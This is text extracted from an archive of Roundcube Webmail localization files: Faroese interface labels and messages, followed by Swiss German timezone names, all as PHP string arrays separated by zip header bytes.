$labels['composeextwin'] = 'Stovna í nýggjum vindeyga';
$labels['htmleditor'] = 'Stovna HTML boð';
$labels['htmlonreply'] = 'til svar til HTML boð';
$labels['htmlonreplyandforward'] = 'til víðari sending ella svar til HTML boð';
$labels['htmlsignature'] = 'HTML undirskrift';
$labels['showemail'] = 'Vís teldupostar búðstað við fullum navni';
$labels['previewpane'] = 'Vís undansýningar rút';
$labels['skin'] = 'Markamóts skinn';
$labels['logoutclear'] = 'Strika Skrell tá ið tú út ritar';
$labels['logoutcompact'] = 'Trýst saman postkassa tá ið tú ritar út';
$labels['uisettings'] = 'Brúkaraøki';
$labels['serversettings'] = 'Ambætara stillingar';
$labels['mailboxview'] = 'Postkassa sjón';
$labels['mdnrequests'] = 'Bið um kvittan';
$labels['askuser'] = 'spyr me';
$labels['autosend'] = 'send kvittan';
$labels['autosendknown'] = 'send kvittan til mínir persónar, annars spyr me';
$labels['autosendknownignore'] = 'send kvittan til mínir persónar, annars skúgv til vigs';
$labels['ignorerequest'] = 'skúgva umbøn til viks';
$labels['readwhendeleted'] = 'Merk boði sum lisið á striking';
$labels['flagfordeletion'] = 'Viðmerk boði til strikingar ístaðin fyri at strika';
$labels['skipdeleted'] = 'Vís ikki strika boð';
$labels['deletealways'] = 'Um flyting av boðum til Skrell ikki riggar, strika tey so';
$labels['deletejunk'] = 'Strika boð beinleiðis í Møsn';
$labels['showremoteimages'] = 'Vís regluligar fjarmyndir';
$labels['fromknownsenders'] = 'frá ókendum sendarum';
$labels['always'] = 'altíð';
$labels['alwaysbutplain'] = 'altíð. Fyri uftan tá svara verður reinun teksti';
$labels['showinlineimages'] = 'Vís viðheftar myndir niðanfyri boðini';
$labels['autosavedraft'] = 'Goym skitsu sjálvirkandi';
$labels['everynminutes'] = 'hvønn $n minutt(ir)';
$labels['refreshinterval'] = 'Endur innles (kannað fyri nýggjum boðum, o.s.fv.)';
$labels['never'] = 'aldrin';
$labels['immediately'] = 'í stundini';
$labels['messagesdisplaying'] = 'Vísir boð';
$labels['messagescomposition'] = 'Stovnar boð';
$labels['mimeparamfolding'] = 'Viðheftingar nøvn';
$labels['2231folding'] = 'Fult RFC 2231 (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'Fult RFC 2047 (other)';
$labels['force7bit'] = 'Nýt MIME kodingar til 8-bit tekin';
$labels['savelocalstorage'] = "Goym í lokal goymslu á kaga (fyribils)";
$labels['advancedoptions'] = 'Víðkaðir valmøguleikar';
$labels['toggleadvancedoptions'] = 'Skift víðkaðar møguleikar';
$labels['focusonnewmessage'] = 'Legg dent á kaga vindeyga tá ið nýtt boð verður stovna';
$labels['checkallfolders'] = 'Kannað allar mappur fyri nýggj boð';
$labels['defaultfont'] = 'Vanligi stavsnið av HTML boði';
$labels['mainoptions'] = 'Høvuðs Vælmøguleikar';
$labels['browseroptions'] = 'Kaga Valmøguleikar';
$labels['section'] = 'Partur';
$labels['maintenance'] = 'Umsiting';
$labels['newmessage'] = 'Nýggj boð';
$labels['signatureoptions'] = 'Undirskrift vælmøguleikar';
$labels['whenreplying'] = 'Tá ið skriving verður framd';
$labels['replyempty'] = 'sitera ikki uppruna boðini';
$labels['replytopposting'] = 'byrja eini nýggj boð uppiyvir sitatinum';
$labels['replybottomposting'] = 'byrja eini nýggj boð undir sitatinum';
$labels['replyremovesignature'] = 'Tá ið svaring verðurframd, strika so uppruna sitati frá boðinum';
$labels['autoaddsignature'] = 'Legg undirskrift á sjálvirkandi';
$labels['newmessageonly'] = 'Nýggj boð einans';
$labels['replyandforwardonly'] = 'svar og víðarsendingar einans';
$labels['insertsignature'] = 'Innset undirskrift';
$labels['sigbelow'] = 'Set undirskrift undir tey siteraðu boðini';
$labels['sigseparator'] = 'Tvinga vanliga hvørviskilju í undirskriftum';
$labels['automarkread'] = 'Merk boð sum lisin';
$labels['afternseconds'] = 'eftir $n sekund';
$labels['reqmdn'] = 'Bið altíð um eina kvittan';
$labels['reqdsn'] = 'Bið altíð um status kunngerð';
$labels['replysamefolder'] = 'Koyr svar í somu mappuna ið boðini komu frá';
$labels['defaultabook'] = 'Sjálvset búðstaðar bók';
$labels['autocompletesingle'] = 'Leyp um aðrar teldupost búðstaðar í sjálvirkandi skrivingini';
$labels['listnamedisplay'] = 'Vís persónar sum ';
$labels['spellcheckbeforesend'] = 'Kannað stavuvillur áðrenn boðini verða send';
$labels['spellcheckoptions'] = 'Stavuvilli kanningar vælmøguleikar';
$labels['spellcheckignoresyms'] = 'Leyp um orð við teknum';
$labels['spellcheckignorenums'] = 'Leyp um orð við tølum';
$labels['spellcheckignorecaps'] = 'Leyp um øll orð við øll bókstavum í stórum';
$labels['addtodict'] = 'Legg aftrat orðabók';
$labels['mailtoprotohandler'] = 'Skráset samskiftisreglur handfara til mailto: leinki';
$labels['standardwindows'] = 'Handfar upplatingarvindeygu sum vanlig vindeygu';
$labels['forwardmode'] = 'Víðarsending av boðum';
$labels['inline'] = 'innanreglis';
$labels['asattachment'] = 'sum viðhefting';
$labels['replyallmode'] = 'Sjálvset gerð til [Reply all] knap';
$labels['replyalldefault'] = 'Svara øllum';
$labels['replyalllist'] = 'svara til teldupostalista einans (um funnin)';
$labels['allmessages'] = 'øll boð';
$labels['folder'] = 'Mappa';
$labels['folders'] = 'Mappur';
$labels['foldername'] = 'Mappu navn';
$labels['subscribed'] = 'Teknaður til';
$labels['messagecount'] = 'Boð';
$labels['create'] = 'Stovna';
$labels['createfolder'] = 'Stovna nýggja mappu';
$labels['managefolders'] = 'Umsit mappur';
$labels['specialfolders'] = 'Serligar Mappur';
$labels['properties'] = 'Vælmøguleikar';
$labels['folderproperties'] = 'Mappu vælmøguleikar';
$labels['parentfolder'] = 'Foreldra mappu';
$labels['location'] = 'Stað';
$labels['info'] = 'Upplýsing';
$labels['getfoldersize'] = 'Trýst fyri at seta mappu stødd';
$labels['changesubscription'] = 'Trýst fyri at broyta tekning';
$labels['foldertype'] = 'Mappu slag';
$labels['personalfolder'] = 'Einskild Mappa';
$labels['otherfolder'] = 'Mappur hjá ørðum brúkarum';
$labels['sharedfolder'] = 'Almennar mappur';
$labels['findfolders'] = 'Finn mappur';
$labels['findmail'] = 'Finn boð';
$labels['namespace.personal'] = 'Persónlig';
$labels['namespace.other'] = 'Aðrir brúkarir';
$labels['namespace.shared'] = 'Deilt';
$labels['dualuselabel'] = 'Kann bert innihalda';
$labels['dualusemail'] = 'boð';
$labels['dualusefolder'] = 'mappur';
$labels['generate'] = 'Framleið';
$labels['encryptioncreatekey'] = 'Skapa nýtt lykla par';
$labels['encryption'] = 'Brongla';
$labels['sortby'] = 'Sortera eftir';
$labels['sortasc'] = 'Sortera hækkandi';
$labels['sortdesc'] = 'Sortera lækkandi';
$labels['undo'] = 'Angra';
$labels['installedplugins'] = 'Innløgd ískoyti';
$labels['plugin'] = 'Ískoyti';
$labels['version'] = 'Útgáva';
$labels['source'] = 'Kelda';
$labels['license'] = 'Heimildarskjal';
$labels['support'] = 'Fá hjálp';
$labels['savedsearches'] = 'Goymdar leitanir';
$labels['dateformatY'] = 'ÁÁÁÁ';
$labels['dateformaty'] = 'ÁÁ';
$labels['dateformatm'] = 'MM';
$labels['dateformatd'] = 'DD';
$labels['dateformatj'] = 'D';
$labels['dateformatn'] = 'M';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'Unicode';
$labels['english'] = 'Eingilst';
$labels['westerneuropean'] = 'Vestur Evoropeist';
$labels['easterneuropean'] = 'Estur Everopeist';
$labels['southeasterneuropean'] = 'Útsynnings Everopeist';
$labels['baltic'] = 'Eystursjógvurin';
$labels['cyrillic'] = 'Cyrillic';
$labels['arabic'] = 'Arabist';
$labels['greek'] = 'Grekst';
$labels['hebrew'] = 'Hebraiskt';
$labels['turkish'] = 'Turkist';
$labels['nordic'] = 'Norðurlengst';
$labels['thai'] = 'Tailenskt';
$labels['celtic'] = 'Keltiskt';
$labels['vietnamese'] = 'Vietmanesiskt';
$labels['japanese'] = 'Japanskt';
$labels['korean'] = 'Koreanskt';
$labels['chinese'] = 'Kinesiskt';
$labels['arialabeltopnav'] = 'Vindeyga kontro';
$labels['arialabeltasknav'] = 'Uppgávur forrits';
$labels['arialabeltoolbar'] = 'Amboðsbjálki';
$labels['arialabelactivetask'] = 'Tendra uppgáva';
$labels['arialabelmessagessearchfilter'] = 'Telduposta skráinga filtur';
$labels['arialabelmailsearchform'] = 'Teldupost boð leiti frymil';
$labels['arialabelcontactsearchform'] = 'Persóna leiti felt';
$labels['arialabelmailquicksearchbox'] = 'Teldupost leiti felt';
$labels['arialabelquicksearchbox'] = 'Leitingar orð';
$labels['arialabelfoldersearchfilter'] = 'Mappu skráingingar filtur';
$labels['arialabelfoldersearchform'] = 'Mappu leiti frymil';
$labels['arialabelfolderlist'] = 'Teldupost mappu val';
$labels['arialabelmessagelist'] = 'Telduposta boð skráing';
$labels['arialabelmailpreviewframe'] = 'Brot av boðið';
$labels['arialabelmailboxmenu'] = 'Mappu gerða valmynd';
$labels['arialabellistselectmenu'] = 'Vís valdu menu';
$labels['arialabelthreadselectmenu'] = 'Tráa skráingar valmynd';
$labels['arialabelmessagelistoptions'] = 'Boð skrá vísnáður og sorteringa valmøguleikar';
$labels['arialabelmailimportdialog'] = 'Influttning av boð dialogur';
$labels['arialabelmessagenav'] = 'Boð navigering';
$labels['arialabelmessagebody'] = 'Innihald í boðið';
$labels['arialabelmessageactions'] = 'Boð gerðir';
$labels['arialabelcontactquicksearch'] = 'Persóna leiti felt';
$labels['arialabelcontactsearchbox'] = 'Persón leiti orð';
$labels['arialabelmessageheaders'] = 'Teksthøvd av boð';
$labels['arialabelforwardingoptions'] = 'Víðarisend møguleikar';
$labels['arialabelreplyalloptions'] = 'Valmøguleikar til at svara øllum';
$labels['arialabelmoremessageactions'] = 'Meiri valmøguleikar til boð gerðir';
$labels['arialabelmarkmessagesas'] = 'Merk valdu boð sum...';
$labels['arialabelcomposeoptions'] = 'Stovningar møguleikar';
$labels['arialabelresponsesmenu'] = 'Skapilón svar valmynd';
$labels['arialabelattachmentuploadform'] = 'Viðheftingar uppsendingar frymil';
$labels['arialabelattachmentmenu'] = 'Viðheftingar valmøguleikar';
$labels['arialabelmailtomenu'] = 'Teldupost búðstaðar valmøguleikar';
$labels['arialabelattachmentpreview'] = 'Brot av víðheftingum';
$labels['ariasummarycomposecontacts'] = 'Listi av persónum og bólkum at velja sum móttakarar';
$labels['arialabelcontactexportoptions'] = 'Valmøguleikar fyri persóna útflytan';
$labels['arialabelabookgroupoptions'] = 'Bústaðarsavn/bólka valmøguleikar';
$labels['arialabelpreferencesform'] = 'Stillinga frymil';
$labels['arialabelidentityeditfrom'] = 'Samleika broytingar formur';
$labels['arialabelresponseeditfrom'] = 'Svar broytingar frymil';
$labels['arialabelsearchterms'] = 'Leiti orð';
$labels['arialabelimagetools'] = 'Mynda tól';
$labels['helplistnavigation'] = 'Vís knappaborð sniðvegir';
$labels['helplistkeyboardnavigation'] = "Pílar upp/niður: Flyt rekkju
Millumglopp: Vel verandi rekkju
Shift + upp/niður: Vel fleiri rekkjur uppi yvir/niðri undir
Ctrl + millumglopp: Legg verandi rekkju aftrat/tak frá ";
$labels['helplistkeyboardnavmessages'] = "Pílar vinstru/høgru: vaksa/minka boð trá (í tráar hátt einans)
Enter: Opna valdu boð
Delete: Flyt valdu boð til skrelluspann.";
$labels['helplistkeyboardnavcontacts'] = "Enter: Opna verandi persón";
PK
h�\�F���7�7'program/localization/fo_FO/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Ein feilur kom fyri!';
$messages['loginfailed']  = 'Feilur í innriting.';
$messages['cookiesdisabled'] = 'Kagi tín noktar cookies.';
$messages['sessionerror'] = 'Seta tín er ógyldig ella útgingin.';
$messages['cookiesmismatch'] = 'Tú hevur nú rita út. Farvæl!';
$messages['storageerror'] = 'Feilur í samand til goymslu ambatara.';
$messages['servererror'] = 'Ambatara Feilur!';
$messages['servererrormsg'] = 'Ambatara Feilur: $msg';
$messages['accountlocked'] = 'Ov nógvar innritingar royndir. Royn aftur seinni.';
$messages['connerror'] = 'Ambætarasambindingar feilur (Einki samband við abmætaran)!';
$messages['dberror'] = 'Dátugrun Feilur';
$messages['windowopenerror'] = 'Popup vindeyga var forða!';
$messages['requesttimedout'] = 'Umbøn gekk út';
$messages['errorreadonly'] = 'Kann ikki fremja ger. Mappan kann einans lesast.';
$messages['errornoperm'] = 'Kann ikki fremja ger. Atgongd nokta.';
$messages['erroroverquota'] = 'Kann ikki fremja ger. Einki pláss á diski.';
$messages['erroroverquotadelete'] = 'Einki pláss á diski. Brúka SHIFT+DEL fyri at strika boð.';
$messages['invalidrequest'] = 'Ógyldig umbøn! Einki dáta varð goymt.';
$messages['invalidhost'] = 'Ógyldigt ambatara navn.';
$messages['nomessagesfound'] = 'Eingi boð í funnin hesum postkassa,';
$messages['mailboxempty'] = 'Postkassi er tómur';
$messages['nomessages'] = 'Eingin boð';
$messages['refreshing'] = 'Endur-innlesur...';
$messages['loading'] = 'Innlesur...';
$messages['uploading'] = 'Leggur fílu út...';
$messages['attaching'] = 'Viðheftur fíl...';
$messages['uploadingmany'] = 'Leggur fílur út...';
$messages['loadingdata'] = 'Innlesur dáta...';
$messages['checkingmail'] = 'Kannar fyri nýggj boð...';
$messages['sendingmessage'] = 'Sendur boð...';
$messages['messagesent'] = 'Boðini vóru send.';
$messages['savingmessage'] = 'Goymur boðini.';
$messages['messagesaved'] = 'Boðini goymd til Skitsur';
$messages['successfullysaved'] = 'Goymt.';
$messages['savingresponse'] = 'Goymur svar tekst...';
$messages['deleteresponseconfirm'] = 'Vilt tú veruliga strika hendan svar tekst?';
$messages['addedsuccessfully'] = 'Persónur lagdur aftrat búðstaðar savn.';
$messages['contactexists'] = 'Ein persónur við sama telduposti er longu til.';
$messages['contactnameexists'] = 'Ein persónur við sama navn er longu til.';
$messages['blockedimages'] = 'Fyri at verja tín privatlív so eru fjarmyndir sperraðar í hesum boði.';
$messages['encryptedmessage'] = 'Hetta er eini brogla boð og kann ikki sýnast. Tíverri!';
$messages['externalmessagedecryption'] = 'Hetta eru eini brongla boð. Boðini kunnu óbronglast við einum "browser extension"';
$messages['nopubkeyfor'] = 'Eingin gildur almennur lykil, eisini kalla "public key", var funnin, fyri teldupost bústaðin $email';
$messages['nopubkeyforsender'] = 'Eingin gildur almenna lykil var funnin fyri tín sendara samleika. Vilt tú brongla boðini fyri mótakaran einans?';
$messages['encryptnoattachments'] = 'Tær longu viðheftu fílirnir, kunnu ikki bronglast. Vinarliga set teir inn av nýggjum.';
$messages['searchpubkeyservers'] = 'Vilt tú leita í almennum datagrunnum eftir manglandi lyklum?';
$messages['encryptpubkeysfound'] = 'Teir fylgjandi almennalyklar vóru funnir:';
$messages['keyservererror'] = 'Feilur at heinta lykil frá lyklaambætara';
$messages['nocontactsfound'] = 'Eingir persónar funnir.';
$messages['contactnotfound'] = 'Umbindni persónurin varð ikki funnin.';
$messages['sendingfailed'] = 'Riggaði ikki at senda boð.';
$messages['senttooquickly'] = 'Vinarliga bíða $sec sekund(ir) áðrenn tú sendur hetta boð.';
$messages['errorsavingsent'] = 'Ein feilur kom fyri tá ið roynt var at goyma send boð.';
$messages['errorsaving'] = 'Ein feilur kom fyri tá ið goymt var.';
$messages['errormoving'] = 'Kundi ikki flyta boð(ini).';
$messages['errorcopying'] = 'Kundi ikki avrita boð(ini).';
$messages['errordeleting'] = 'Kundi ikki strika boð(ini).';
$messages['errormarking'] = 'Kundi ikki merkja boð(ini).';
$messages['alerttitle'] = 'Gev gætur';
$messages['confirmationtitle'] = 'Ert tú vís/ur';
$messages['deletecontactconfirm']  = 'Ert tú vísur í at tú vilt strika merkt(ar) persónar?';
$messages['deletegroupconfirm']  = 'Ert tú vísur í at tú vilt strika valda bólk?';
$messages['deletemessagesconfirm'] = 'Ert tú vísur í at tú vilt strika vald boð()?';
$messages['deletefolderconfirm']  = 'Ert tú vísur í at tú vilt strika hesa mappu?';
$messages['movefolderconfirm']  = 'Vilt tú veruliga flyta hesa mappu?';
$messages['purgefolderconfirm']  = 'Ert tú vísur í at tú vilt strika øll boð í hesu mappu?';
$messages['contactdeleting'] = 'Strikar persón(ar)...';
$messages['groupdeleting'] = 'Strikar bólk...';
$messages['folderdeleting'] = 'Strikar mappu...';
$messages['foldermoving'] = 'Flytur mappu...';
$messages['foldersubscribing'] = 'Tegnar til mappu...';
$messages['folderunsubscribing'] = 'Ógyldar tekning til mappu...';
$messages['formincomplete'] = 'Allir teigirnir vóru ikki fyltir út.';
$messages['noemailwarning'] = 'Vinarliga skriva ein galdandi teldupost.';
$messages['nonamewarning']  = 'Vinarliga skriva eitt navn.';
$messages['nopagesizewarning'] = 'Vinarliga skriva síðu stødd.';
$messages['nosenderwarning'] = 'Vinarliga skriva sendara teldupost búðstað.';
$messages['norecipientwarning'] = 'Vinarliga skriva minst ein móttakara.';
$messages['nosubjectwarning']  = 'Evna teigurin er tómur. Vilt tú skriva nakað í hann?';
$messages['nobodywarning'] = 'Send hesi boð uttan tekst?';
$messages['restoresavedcomposedata'] = 'Eitt fyrrverandi skriva boð, men ósent, boð var funni.\n\nEvni: $subject\nGoymt: $date\n\nVilt tú endur stovna hetta boð?';
$messages['nosearchname'] = 'Vinarliga skriva eitt persón navn ella teldupost búðstað,';
$messages['notuploadedwarning'] = 'Ikki allar viðheftingar eru uppsendar enn. Vinarliga bíða ella angra uppsendingina.';
$messages['searchsuccessful'] = '$nr boð funnin.';
$messages['contactsearchsuccessful'] = '$nr persónar funnir.';
$messages['searchnomatch'] = 'Leiting gav eingin úrslit.';
$messages['searching'] = 'Leitar...';
$messages['checking'] = 'Kannar...';
$messages['stillsearching'] = 'Leitar enn...';
$messages['nospellerrors'] = 'Eingin stavifeilur funnin.';
$messages['folderdeleted'] = 'Mappa sletta.';
$messages['foldersubscribed'] = 'Mappa tekna til.';
$messages['folderunsubscribed'] = 'Ógylt tekning til mappu.';
$messages['deletedsuccessfully'] = 'Strika uftan feilir.';
$messages['converting'] = 'Tekur burt forsniðing...';
$messages['messageopenerror'] = 'Kundi ikki lesa inn boð frá servara.';
$messages['filelinkerror'] = 'Feilur kom í, tá roynt var at viðhefta fíl.';
$messages['fileuploaderror'] = 'Fíla uppsending riggaði ikk.';
$messages['filesizeerror'] = 'Uppsendi fílur er stórri enn grensan ið er $size.';
$messages['copysuccess'] = 'Avrita $nr persónar.';
$messages['movesuccess'] = 'Flutt $nr persónar.';
$messages['copyerror'] = 'Kundi ikki avrita persónar.';
$messages['moveerror'] = 'Kundi ikki flyta persónar.';
$messages['sourceisreadonly'] = 'Hendan búðstaðar keldan er einans lesandi.';
$messages['errorsavingcontact'] = 'Kann ikki goyma addressuna hjá persóni.';
$messages['movingmessage'] = 'Flytur hetta(hesi) boð...';
$messages['copyingmessage'] = 'Flytur hetta(hesi) boð...';
$messages['copyingcontact'] = 'Avritar persón(ar)...';
$messages['movingcontact'] = 'Flytur persón(ar)...';
$messages['deletingmessage'] = 'Strikar boð(ini)...';
$messages['markingmessage'] = 'Merkjur boð(ini)...';
$messages['addingmember'] = 'Leggur persón(ar) aftrat bólk...';
$messages['removingmember'] = 'Strikar persón(ar) frá bólkið...';
$messages['receiptsent'] = 'Kvittan er sent.';
$messages['errorsendingreceipt'] = 'Kundi ikki senda kvittan.';
$messages['deleteidentityconfirm'] = 'Ert tú vísur í at tú vilt strika hendan samleika?';
$messages['nodeletelastidentity'] = 'Tú kanst ikki strika hendan samleika, hetta er tann seinasti.';
$messages['forbiddencharacter'] = 'Mappu navn inniheldur óloyvd tekin.';
$messages['selectimportfile'] = 'Vinarliga vel eina fílu';
$messages['addresswriterror'] = 'Valda búðstaðar bók kann ikki skrivast í.';
$messages['contactaddedtogroup'] = 'Persónar vóru lagdir aftrat bólki.';
$messages['contactremovedfromgroup'] = 'Persónar vóru strikaðir frá bólki';
$messages['nogroupassignmentschanged'] = 'Eingin bólka tilluting broytt.';
$messages['importwait'] = 'Flytur inn, vinarliga bíða...';
$messages['importformaterror'] = 'Innflyting riggaði ikki! Tann uppsendi fílurin var ikki gyldigur dátu fílur.';
$messages['importconfirm'] = '<b>$inserted Persónar innfluttir</b>';
$messages['importconfirmskipped'] = '<b>Leyp um $skipped innsetanir</b>';
$messages['importmessagesuccess'] = 'Innflutt $nr boð.';
$messages['importmessageerror'] = 'Innflyting bar ikki til! Tann uppsendi fílurin er ikki gyldigur boð ella postkassa fílur';
$messages['opnotpermitted'] = 'Ger ikki loyvd!';
$messages['nofromaddress'] = 'Manglar teldupostur í valda samleika.';
$messages['editorwarning'] = 'At broyta rættara, eisini kallað "editor", kann gera at tín tekst formaterring verður burtur. Vilt tú halda á fram?';
$messages['httpreceivedencrypterror'] = 'Ein oyðandi samansetings feilur uppstóð. Vinarliga set teg í samband við umsitaran beinanvegin. <b>Tíni boð kundu ikki sendast.</b>';
$messages['smtpconnerror'] = 'SMTP Feilur ($code): Samband til ambatara riggaði ikki.';
$messages['smtpautherror'] = 'SMTP Feilur ($code): Atgongd nokta.';
$messages['smtpfromerror'] = 'SMTP feilur ($code): Til bar ikki at seta sendarin til "$from" ($msg).';
$messages['smtptoerror'] = 'SMTP feilur ($code): Til bar ikki at nýta móttakarin "$to" ($msg)';
$messages['smtprecipientserror'] = 'SMTP feilur: Til bar ikki at greina móttakara listan.';
$messages['smtperror'] = 'SMTP feilur: $msg';
$messages['emailformaterror'] = 'Ógyldig teldupost búðstaður: $email';
$messages['toomanyrecipients'] = 'Ov nógvir móttakarir. Minka um móttakarum til $max.';
$messages['maxgroupmembersreached'] = 'Nummarið av limum í bólkinum gongur framvið hægsta mark ið er $max.';
$messages['internalerror'] = 'Ein innanhýsis feilur kom fyri. Vinarliga royn aftur.';
$messages['contactdelerror'] = 'Kann ikki strika persón(ar).';
$messages['contactdeleted'] = 'Persón(ar) strikaðir.';
$messages['contactrestoreerror'] = 'Kann ikki endurstovna persón(ar).';
$messages['contactrestored'] = 'Persónur(ar) endurstovnaðir.';
$messages['groupdeleted'] = 'Bólkur strikaður.';
$messages['grouprenamed'] = 'Bólkur umdoyptur.';
$messages['groupcreated'] = 'Bólkur stovnaður';
$messages['savedsearchdeleted'] = 'Goymdar leitingar strikaðar';
$messages['savedsearchdeleteerror'] = 'Kundi ikki strika goymdar leitingar.';
$messages['savedsearchcreated'] = 'Goymdar leitingar stovnaðar.';
$messages['savedsearchcreateerror'] = 'Kundi ikki stovna goymdar leitingar.';
$messages['messagedeleted'] = 'Boð(ini) strika.';
$messages['messagemoved'] = 'Boð(ini) flutt.';
$messages['messagecopied'] = 'Boð(ini) avrita.';
$messages['messagemarked'] = 'Boð(ini) merkt.';
$messages['autocompletechars'] = 'Skriva minst $min tekin fyri sjálvvirkin útfylling riggar.';
$messages['autocompletemore'] = 'Fleiri úrslit funnin. Vinarliga skriva fleiri tekin.';
$messages['namecannotbeempty'] = 'Navn kann ikki verða tómt.';
$messages['nametoolong'] = 'Navnið er ov langt.';
$messages['namedotforbidden'] = 'Navni á einari mappu, kann ikki byrja við punktum.';
$messages['folderupdated'] = 'Mappa dagført.';
$messages['foldercreated'] = 'Mappa stovna.';
$messages['invalidimageformat'] = 'Ikki eitt gyldigt mynda slag.';
$messages['mispellingsfound'] = 'Stavuvillur funnar í tíni boð.';
$messages['parentnotwritable'] = 'Kann ikki flyta/avrita mappu til valda mappu. Eingin atgongu-rættindi.';
$messages['messagetoobig'] = 'Boðini eru ov stór til at handfara.';
$messages['noscriptwarning'] = 'Ávaring: Hendan webmail tænastan krevur Javascript! Um tú vilt nýta hana, so vinarliga tendra Javascript í tínum kaga.';
$messages['messageissent'] = 'Boðini vóru longu send, men ikki goymd enn. Vilt tú goyma tey nú?';
$messages['errnotfound'] = 'Fílurin var ikki funnin';
$messages['errnotfoundexplain'] = 'Tann valda hjálpartól var ikki funnið!';
$messages['errfailedrequest'] = 'Umbønin riggaði ikki';
$messages['errauthorizationfailed'] = 'Góðkenning riggaði ikki';
$messages['errunauthorizedexplain'] = 'Tað bar ikki til at vátta at tú hevur heimild til hesa tænastu!';
$messages['errrequestcheckfailed'] = 'Umbøn kanning ógildig';
$messages['errcsrfprotectionexplain'] = "Fyri tína egnu verju, so er atgongdin til hetta hjálpartól tryggja ímóti CSRF.
Um tú sært hetta. so ritaði tú nokk ikki út áðrenn tú fór frá farritinum.
Menniskja ávirkan er nú kravd fyri at halda áfram.";
$messages['errcontactserveradmin'] = 'Vinarliga set teg í samband við tín ambætara umsitara';
$messages['clicktoresumesession'] = 'Trýst her fyri at forseta tína fyrrverandi setu';
$messages['errcomposesession'] = 'Stovning av setan riggaði ikki';
$messages['errcomposesessionexplain'] = 'Tann umbiðna setan var ikki funnin';
$messages['clicktocompose'] = 'Trýst her fyri at stovna nýggj boð';
PK
h�\�=��::(program/localization/de_CH/timezones.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/timezones/
*/

$labels['tz:utc'] = 'Weltzeit (UTC)';
$labels['tz:africa'] = 'Afrika';
$labels['tz:africa:addis_ababa'] = 'Addis Abeba';
$labels['tz:africa:algiers'] = 'Algier';
$labels['tz:africa:cairo'] = 'Kairo';
$labels['tz:africa:dar_es_salaam'] = 'Daressalam';
$labels['tz:africa:djibouti'] = 'Dschibuti';
$labels['tz:africa:douala'] = 'Duala';
$labels['tz:africa:khartoum'] = 'Khartum';
$labels['tz:africa:mogadishu'] = 'Mogadischu';
$labels['tz:africa:ouagadougou'] = 'Wagadugu';
$labels['tz:africa:tripoli'] = 'Tripolis';
$labels['tz:africa:windhoek'] = 'Windhuk';
$labels['tz:america'] = 'Amerika';
$labels['tz:america:argentina'] = 'Argentinien';
$labels['tz:america:chicago'] = 'Chikago';
$labels['tz:america:costa_rica'] = 'Kostarika';
$labels['tz:america:havana'] = 'Havanna';
$labels['tz:america:jamaica'] = 'Jamaika';
$labels['tz:america:mexico_city'] = 'Mexiko Stadt';
$labels['tz:america:new_york'] = 'Neu York';
$labels['tz:america:north_dakota'] = 'Nord-Dakota';
$labels['tz:america:north_dakota:new_salem'] = 'Neu Salem';
$labels['tz:america:puerto_rico'] = 'Portoriko';
$labels['tz:antarctica'] = 'Antarktis';
$labels['tz:arctic'] = 'Arktis';
$labels['tz:asia'] = 'Asien';
$labels['tz:asia:baghdad'] = 'Bagdad';
$labels['tz:asia:damascus'] = 'Damaskus';
$labels['tz:asia:kolkata'] = 'Kalkuta';
$labels['tz:asia:nicosia'] = 'Nikosia';
$labels['tz:asia:riyadh'] = 'Riad';
$labels['tz:asia:seoul'] = 'Soul';
$labels['tz:asia:shanghai'] = 'Schanghai';
$labels['tz:asia:singapore'] = 'Singapur';
$labels['tz:asia:taipei'] = 'Taipeh';
$labels['tz:asia:tbilisi'] = 'Tiflis';
$labels['tz:asia:tehran'] = 'Teheran';
$labels['tz:asia:tokyo'] = 'Tokio';
$labels['tz:asia:vladivostok'] = 'Wladiwostok';
$labels['tz:asia:yangon'] = 'Rangun';
$labels['tz:asia:yekaterinburg'] = 'Jekaterinburg';
$labels['tz:asia:yerevan'] = 'Eriwan';
$labels['tz:atlantic'] = 'Atlantik';
$labels['tz:atlantic:azores'] = 'Azoren';
$labels['tz:atlantic:canary'] = 'Kanarische Inseln';
$labels['tz:atlantic:faroe'] = 'Färöer';
$labels['tz:atlantic:south_georgia'] = 'Südgeorgien';
$labels['tz:atlantic:st_helena'] = 'St. Helena';
$labels['tz:australia'] = 'Australien';
$labels['tz:europe'] = 'Europa';
$labels['tz:europe:athens'] = 'Athen';
$labels['tz:europe:belgrade'] = 'Belgrad';
$labels['tz:europe:bratislava'] = 'Pressburg';
$labels['tz:europe:brussels'] = 'Brüssel';
$labels['tz:europe:bucharest'] = 'Bukarest';
$labels['tz:europe:copenhagen'] = 'Kopenhagen';
$labels['tz:europe:isle_of_man'] = 'Insel Man';
$labels['tz:europe:kaliningrad'] = 'Kaliningrad (Königsberg)';
$labels['tz:europe:kiev'] = 'Kiew';
$labels['tz:europe:lisbon'] = 'Lissabon';
$labels['tz:europe:ljubljana'] = 'Laibach';
$labels['tz:europe:luxembourg'] = 'Luxemburg';
$labels['tz:europe:moscow'] = 'Moskau';
$labels['tz:europe:prague'] = 'Prag';
$labels['tz:europe:rome'] = 'Rom';
$labels['tz:europe:tallinn'] = 'Reval';
$labels['tz:europe:tirane'] = 'Tirana';
$labels['tz:europe:vatican'] = 'Vatikanstadt';
$labels['tz:europe:vienna'] = 'Wien';
$labels['tz:europe:vilnius'] = 'Wilna';
$labels['tz:europe:volgograd'] = 'Wolgograd';
$labels['tz:europe:warsaw'] = 'Warschau';
$labels['tz:europe:zagreb'] = 'Agram';
$labels['tz:europe:zurich'] = 'Zürich';
$labels['tz:indian'] = 'Indik';
$labels['tz:indian:maldives'] = 'Malediven';
$labels['tz:pacific'] = 'Pazifik';
